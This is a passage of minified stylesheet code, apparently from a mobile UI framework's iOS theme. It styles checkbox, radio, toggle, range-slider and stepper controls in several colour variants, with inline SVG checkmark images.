.icon-checkbox{-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;display:block}.checkbox .icon-checkbox:after,label.item-checkbox .icon-checkbox:after{content:'';position:absolute}label.item-checkbox{-webkit-transition-duration:.3s;transition-duration:.3s}label.item-checkbox.active-state:after{background-color:transparent}.disabled label.item-checkbox,label.item-checkbox.disabled{opacity:.55;pointer-events:none;opacity:.55!important;pointer-events:none!important}.ios .checkbox i,.ios .icon-checkbox{width:22px;height:22px;border-radius:50%;border:1px solid #c7c7cc}.ios .checkbox i:after,.ios .icon-checkbox:after{left:50%;top:50%;margin-left:-6px;margin-top:-4px;width:12px;height:9px}.ios .checkbox input[type=checkbox]:checked~i,.ios label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{border:none;background:#007aff}.ios .checkbox input[type=checkbox]:checked~i:after,.ios label.item-checkbox input[type=checkbox]:checked~.icon-checkbox:after{background:no-repeat center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20x%3D'0px'%20y%3D'0px'%20viewBox%3D'0%200%2012%209'%20xml%3Aspace%3D'preserve'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'12%2C0.7%2011.3%2C0%203.9%2C7.4%200.7%2C4.2%200%2C4.9%203.9%2C8.8%203.9%2C8.8%203.9%2C8.8%20'%2F%3E%3C%2Fsvg%3E");background-size:12px 9px}.ios label.item-checkbox>.icon-checkbox{margin-left:15px}.ios label.item-checkbox .item-content .item-media,.ios label.item-checkbox.item-content .item-media{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.ios label.item-checkbox.active-state{-webkit-transition-duration:0s;transition-duration:0s;background-color:#d9d9d9}.ios .theme-dark label.item-checkbox.active-state{background-color:#363636}.ios .color-theme-red .checkbox input[type=checkbox]:checked~i,.ios .color-theme-red label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#ff3b30}.ios .color-theme-green .checkbox input[type=checkbox]:checked~i,.ios .color-theme-green label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#4cd964}.ios .color-theme-blue .checkbox input[type=checkbox]:checked~i,.ios .color-theme-blue label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#007aff}.ios .color-theme-pink .checkbox input[type=checkbox]:checked~i,.ios .color-theme-pink label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#ff2d55}.ios .color-theme-yellow .checkbox input[type=checkbox]:checked~i,.ios .color-theme-yellow label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#fc0}.ios .color-theme-orange .checkbox input[type=checkbox]:checked~i,.ios .color-theme-orange label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#ff9500}.ios .color-theme-gray .checkbox input[type=checkbox]:checked~i,.ios .color-theme-gray label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#8e8e93}.ios .color-theme-white .checkbox input[type=checkbox]:checked~i,.ios .color-theme-white label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#fff}.ios .color-theme-black .checkbox input[type=checkbox]:checked~i,.ios .color-theme-black label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#000}.ios .checkbox.color-red input[type=checkbox]:checked~i,.ios label.item-checkbox.color-red input[type=checkbox]:checked~.icon-checkbox{background:#ff3b30}.ios .checkbox.color-green input[type=checkbox]:checked~i,.ios label.item-checkbox.color-green input[type=checkbox]:checked~.icon-checkbox{background:#4cd964}.ios .checkbox.color-blue input[type=checkbox]:checked~i,.ios label.item-checkbox.color-blue input[type=checkbox]:checked~.icon-checkbox{background:#007aff}.ios .checkbox.color-pink input[type=checkbox]:checked~i,.ios label.item-checkbox.color-pink input[type=checkbox]:checked~.icon-checkbox{background:#ff2d55}.ios .checkbox.color-yellow input[type=checkbox]:checked~i,.ios label.item-checkbox.color-yellow input[type=checkbox]:checked~.icon-checkbox{background:#fc0}.ios .checkbox.color-orange input[type=checkbox]:checked~i,.ios label.item-checkbox.color-orange input[type=checkbox]:checked~.icon-checkbox{background:#ff9500}.ios .checkbox.color-gray input[type=checkbox]:checked~i,.ios label.item-checkbox.color-gray input[type=checkbox]:checked~.icon-checkbox{background:#8e8e93}.ios .checkbox.color-white input[type=checkbox]:checked~i,.ios label.item-checkbox.color-white input[type=checkbox]:checked~.icon-checkbox{background:#fff}.ios .checkbox.color-black input[type=checkbox]:checked~i,.ios label.item-checkbox.color-black input[type=checkbox]:checked~.icon-checkbox{background:#000}.icon-radio{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.radio{position:relative;display:inline-block;vertical-align:middle;z-index:1}.radio,label.item-radio{cursor:pointer}.radio input[type=checkbox],.radio input[type=radio],label.item-radio input[type=checkbox],label.item-radio input[type=radio]{display:none}.radio .icon-radio,label.item-radio .icon-radio{-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;display:block}.radio .icon-radio:after,label.item-radio .icon-radio:after{content:'';position:absolute}label.item-radio{-webkit-transition-duration:.3s;transition-duration:.3s}label.item-radio.active-state:after{background-color:transparent}.disabled label.item-radio,label.item-radio.disabled{opacity:.55;pointer-events:none;opacity:.55!important;pointer-events:none!important}.ios .icon-radio{width:22px;height:22px;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;display:block}.ios .radio .icon-radio{border-radius:50%;border:1px solid #c7c7cc}.ios label.item-radio input[type=radio]~.icon-radio{position:absolute;top:50%;margin-top:-11px;left:10px}.ios label.item-radio .item-inner{padding-left:35px}.ios .radio input[type=radio]:checked~.icon-radio,.ios label.item-radio input[type=radio]:checked~* .icon-radio,.ios label.item-radio input[type=radio]:checked~.icon-radio{background:no-repeat center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E");background-size:13px 10px}.ios .radio input[type=radio]:checked~.icon-radio{border-color:#007aff}.ios label.item-radio .item-content .item-media,.ios label.item-radio.item-content .item-media{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.ios label.item-radio.active-state{-webkit-transition-duration:0s;transition-duration:0s;background-color:#d9d9d9}@media (orientation:landscape){.ios.device-iphone-x .ios-edges label.item-radio input[type=radio]~.icon-radio,.ios.device-iphone-x .ios-left-edge label.item-radio input[type=radio]~.icon-radio,.ios.device-iphone-x .panel-left label.item-radio input[type=radio]~.icon-radio,.ios.device-iphone-x .popup label.item-radio input[type=radio]~.icon-radio,.ios.device-iphone-x .sheet-modal label.item-radio input[type=radio]~.icon-radio{left:calc(10px + constant(safe-area-inset-left));left:calc(10px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges label.item-radio .list:not(.inset):not(.tablet-inset) .item-inner,.ios.device-iphone-x .ios-left-edge label.item-radio .list:not(.inset):not(.tablet-inset) .item-inner,.ios.device-iphone-x .panel-left label.item-radio .list:not(.inset):not(.tablet-inset) .item-inner,.ios.device-iphone-x .popup label.item-radio .list:not(.inset):not(.tablet-inset) .item-inner,.ios.device-iphone-x .sheet-modal label.item-radio .list:not(.inset):not(.tablet-inset) .item-inner{padding-left:calc(35px + constant(safe-area-inset-left));padding-left:calc(35px + env(safe-area-inset-left))}}.ios .theme-dark label.item-radio.active-state{background-color:#363636}.ios .color-theme-red .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-red label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-red label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff3b30'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-red .radio input[type=radio]:checked~.icon-radio{border-color:#ff3b30}.ios .color-theme-green .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-green label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-green label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%234cd964'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-green .radio input[type=radio]:checked~.icon-radio{border-color:#4cd964}.ios .color-theme-blue .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-blue label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-blue label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-blue .radio input[type=radio]:checked~.icon-radio{border-color:#007aff}.ios .color-theme-pink .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-pink label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-pink label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff2d55'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-pink .radio input[type=radio]:checked~.icon-radio{border-color:#ff2d55}.ios .color-theme-yellow .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-yellow label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-yellow label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffcc00'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-yellow .radio input[type=radio]:checked~.icon-radio{border-color:#fc0}.ios .color-theme-orange .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-orange label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-orange label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff9500'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-orange .radio input[type=radio]:checked~.icon-radio{border-color:#ff9500}.ios .color-theme-gray .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-gray label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-gray label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%238e8e93'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-gray .radio input[type=radio]:checked~.icon-radio{border-color:#8e8e93}.ios .color-theme-white .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-white label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-white label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-white .radio input[type=radio]:checked~.icon-radio{border-color:#fff}.ios .color-theme-black .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-black label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-black label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23000000'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-black .radio input[type=radio]:checked~.icon-radio{border-color:#000}.ios .radio.color-red input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-red input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-red input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff3b30'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-red input[type=radio]:checked~.icon-radio{border-color:#ff3b30}.ios .radio.color-green input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-green input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-green input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%234cd964'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-green input[type=radio]:checked~.icon-radio{border-color:#4cd964}.ios .radio.color-blue input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-blue input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-blue input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-blue input[type=radio]:checked~.icon-radio{border-color:#007aff}.ios .radio.color-pink input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-pink input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-pink input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff2d55'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-pink input[type=radio]:checked~.icon-radio{border-color:#ff2d55}.ios .radio.color-yellow input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-yellow input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-yellow input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffcc00'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-yellow input[type=radio]:checked~.icon-radio{border-color:#fc0}.ios .radio.color-orange input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-orange input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-orange input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff9500'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-orange input[type=radio]:checked~.icon-radio{border-color:#ff9500}.ios .radio.color-gray input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-gray input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-gray input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%238e8e93'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-gray input[type=radio]:checked~.icon-radio{border-color:#8e8e93}.ios .radio.color-white input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-white input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-white input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-white input[type=radio]:checked~.icon-radio{border-color:#fff}.ios .radio.color-black input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-black input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-black input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23000000'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-black input[type=radio]:checked~.icon-radio{border-color:#000}.toggle{display:inline-block;vertical-align:middle;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.toggle input[type=checkbox]{display:none}.toggle input[disabled]~.toggle-icon{pointer-events:none}.toggle-icon{z-index:0;margin:0;padding:0;-webkit-appearance:none;-moz-appearance:none;appearance:none;border:none;position:relative;-webkit-transition:.3s;transition:.3s;-webkit-box-sizing:border-box;box-sizing:border-box;display:block;cursor:pointer}.toggle-icon:after,.toggle-icon:before{content:''}.toggle-icon:after{background:#fff;position:absolute;z-index:2;-webkit-transform:translateX(0);transform:translateX(0);-webkit-transition-duration:.3s;transition-duration:.3s}.ios .toggle{width:52px;border-radius:16px;height:32px}.ios .toggle input[type=checkbox]:checked+.toggle-icon{background:#4cd964}.ios .toggle input[type=checkbox]:checked+.toggle-icon:before{-webkit-transform:scale(0);transform:scale(0)}.ios .toggle input[type=checkbox]:checked+.toggle-icon:after{-webkit-transform:translateX(-20px);transform:translateX(-20px)}.ios .toggle-icon{width:52px;border-radius:16px;height:32px;background:#e5e5e5}.ios .toggle-icon:before{position:absolute;right:2px;top:2px;width:48px;height:28px;border-radius:16px;-webkit-box-sizing:border-box;box-sizing:border-box;background:#fff;z-index:1;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:scale(1);transform:scale(1)}.ios .toggle-icon:after{height:28px;width:28px;top:2px;right:2px;-webkit-box-shadow:0 2px 4px rgba(0,0,0,.3);box-shadow:0 2px 4px rgba(0,0,0,.3);border-radius:14px}.ios .toggle-active-state input[type=checkbox]:not(:checked)+.toggle-icon:before{-webkit-transform:scale(0);transform:scale(0)}.ios .toggle-active-state input[type=checkbox]+.toggle-icon:after{width:35px}.ios .toggle-active-state input[type=checkbox]:checked+.toggle-icon:after{width:35px;-webkit-transform:translateX(-13px);transform:translateX(-13px)}.ios .theme-dark .toggle-icon{background-color:#fff}.ios .theme-dark .toggle-icon:before{background-color:#1c1c1d}.ios .toggle.color-red input[type=checkbox]:checked+.toggle-icon{background-color:#ff3b30}.ios .toggle.color-green input[type=checkbox]:checked+.toggle-icon{background-color:#4cd964}.ios .toggle.color-blue input[type=checkbox]:checked+.toggle-icon{background-color:#007aff}.ios .toggle.color-pink input[type=checkbox]:checked+.toggle-icon{background-color:#ff2d55}.ios .toggle.color-yellow input[type=checkbox]:checked+.toggle-icon{background-color:#fc0}.ios .toggle.color-orange input[type=checkbox]:checked+.toggle-icon{background-color:#ff9500}.ios .toggle.color-gray input[type=checkbox]:checked+.toggle-icon{background-color:#8e8e93}.ios .toggle.color-white input[type=checkbox]:checked+.toggle-icon{background-color:#fff}.ios .toggle.color-black input[type=checkbox]:checked+.toggle-icon{background-color:#000}.range-slider{display:block;width:100%;position:relative;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.range-slider input[type=range]{display:none}.range-bar{position:absolute;left:0;top:50%;width:100%;overflow:hidden}.range-bar-active{position:absolute;right:0;top:0;height:100%}.range-knob-wrap{z-index:20;position:absolute;top:50%;right:0}.range-knob{-webkit-box-sizing:border-box;box-sizing:border-box;border-radius:50%;position:absolute;left:0;top:0;width:100%;height:100%;z-index:1}.range-knob:after{content:'';position:absolute;left:50%;top:50%;width:44px;height:44px;margin-left:-22px;margin-top:-22px}.range-knob-label{position:absolute;left:50%;bottom:100%;text-align:center;-webkit-transition-duration:120ms;transition-duration:120ms;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translateY(100%) scale(0);transform:translateY(100%) scale(0)}.range-knob-active-state .range-knob-label{-webkit-transform:translateY(0) scale(1);transform:translateY(0) scale(1)}.ios .range-slider{height:28px}.ios .range-bar{background:#b7b8b7;border-radius:2px;height:1px}.ios .range-bar-active{background:#007aff}.ios .range-knob-wrap{height:28px;width:28px;margin-top:-14px;margin-right:-14px}.ios .range-knob{background:#fff;-webkit-box-shadow:0 2px 4px rgba(0,0,0,.3);box-shadow:0 2px 4px rgba(0,0,0,.3)}.ios .range-knob-label{min-width:20px;height:20px;line-height:20px;background:#fff;border-radius:5px;color:#000;font-size:12px;margin-bottom:6px;-webkit-transform:translateX(-50%) translateY(100%) scale(0);transform:translateX(-50%) translateY(100%) scale(0)}.ios .range-knob-active-state .range-knob-label{-webkit-transform:translateX(-50%) translateY(0) scale(1);transform:translateX(-50%) translateY(0) scale(1)}.ios .color-theme-red .range-slider .range-bar-active{background-color:#ff3b30}.ios .color-theme-green .range-slider .range-bar-active{background-color:#4cd964}.ios .color-theme-blue .range-slider .range-bar-active{background-color:#007aff}.ios .color-theme-pink .range-slider .range-bar-active{background-color:#ff2d55}.ios .color-theme-yellow .range-slider .range-bar-active{background-color:#fc0}.ios .color-theme-orange .range-slider .range-bar-active{background-color:#ff9500}.ios .color-theme-gray .range-slider .range-bar-active{background-color:#8e8e93}.ios .color-theme-white .range-slider .range-bar-active{background-color:#fff}.ios .color-theme-black .range-slider .range-bar-active{background-color:#000}.ios .range-slider.color-red .range-bar-active{background-color:#ff3b30}.ios .range-slider.color-green .range-bar-active{background-color:#4cd964}.ios .range-slider.color-blue .range-bar-active{background-color:#007aff}.ios .range-slider.color-pink .range-bar-active{background-color:#ff2d55}.ios .range-slider.color-yellow .range-bar-active{background-color:#fc0}.ios .range-slider.color-orange .range-bar-active{background-color:#ff9500}.ios .range-slider.color-gray .range-bar-active{background-color:#8e8e93}.ios .range-slider.color-white .range-bar-active{background-color:#fff}.ios .range-slider.color-black .range-bar-active{background-color:#000}.stepper{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:stretch;-webkit-align-items:stretch;-ms-flex-align:stretch;align-items:stretch}.stepper-button,.stepper-button-minus,.stepper-button-plus{text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;cursor:pointer}.stepper-button .icon,.stepper-button-minus .icon,.stepper-button-plus .icon{pointer-events:none}.stepper-value{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.stepper-input-wrap,.stepper-value{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;text-align:center}.stepper-button-minus,.stepper-button-plus{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.stepper-button-minus:after,.stepper-button-minus:before,.stepper-button-plus:after,.stepper-button-plus:before{content:'';position:absolute;left:50%;top:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}.stepper-button-minus:after,.stepper-button-plus:after{width:15px;height:2px}.stepper-button-plus:before{height:15px;width:2px}.stepper .stepper-input-wrap input,.stepper .stepper-value{width:45px}.ios .stepper{height:29px}.ios .stepper-button,.ios .stepper-button-minus,.ios .stepper-button-plus{border:1px solid #007aff;color:#007aff;border-radius:5px;line-height:27px;height:29px;width:40px}.ios .stepper-button .f7-icons,.ios .stepper-button-minus .f7-icons,.ios .stepper-button-plus .f7-icons{font-size:22px}.ios .stepper-button-minus:first-child,.ios .stepper-button-plus:first-child,.ios .stepper-button:first-child{border-radius:0 5px 5px 0}.ios .stepper-button-minus:last-child,.ios .stepper-button-plus:last-child,.ios .stepper-button:last-child{border-radius:5px 0 0 5px}.ios .stepper-button-minus.active-state,.ios .stepper-button-plus.active-state,.ios .stepper-button.active-state{background:rgba(0,122,255,.15)}.ios .stepper-button+.stepper-button,.ios .stepper-button+.stepper-button-minus,.ios .stepper-button+.stepper-button-plus,.ios .stepper-button-minus+.stepper-button,.ios .stepper-button-minus+.stepper-button-minus,.ios .stepper-button-minus+.stepper-button-plus,.ios .stepper-button-plus+.stepper-button,.ios .stepper-button-plus+.stepper-button-minus,.ios .stepper-button-plus+.stepper-button-plus{border-right:none}.ios .stepper-button-minus:after,.ios .stepper-button-minus:before,.ios .stepper-button-plus:after,.ios .stepper-button-plus:before{background:#007aff}.ios .stepper-input-wrap,.ios .stepper-value{border-top:1px solid #007aff;border-bottom:1px solid #007aff}.ios .stepper .stepper-value{color:#007aff;font-size:17px}.ios .stepper .stepper-input-wrap input{height:100%;text-align:center;color:#007aff;font-size:17px}.ios .stepper-fill .stepper-button,.ios .stepper-fill .stepper-button-minus,.ios .stepper-fill .stepper-button-plus,.ios .stepper-fill-ios .stepper-button,.ios .stepper-fill-ios .stepper-button-minus,.ios .stepper-fill-ios .stepper-button-plus{color:#fff;background:#007aff}.ios .stepper-fill .stepper-button-minus.active-state,.ios .stepper-fill .stepper-button-plus.active-state,.ios .stepper-fill .stepper-button.active-state,.ios .stepper-fill-ios .stepper-button-minus.active-state,.ios .stepper-fill-ios .stepper-button-plus.active-state,.ios .stepper-fill-ios .stepper-button.active-state{opacity:.8}.ios .stepper-fill .stepper-button-minus:after,.ios .stepper-fill .stepper-button-minus:before,.ios .stepper-fill .stepper-button-plus:after,.ios .stepper-fill 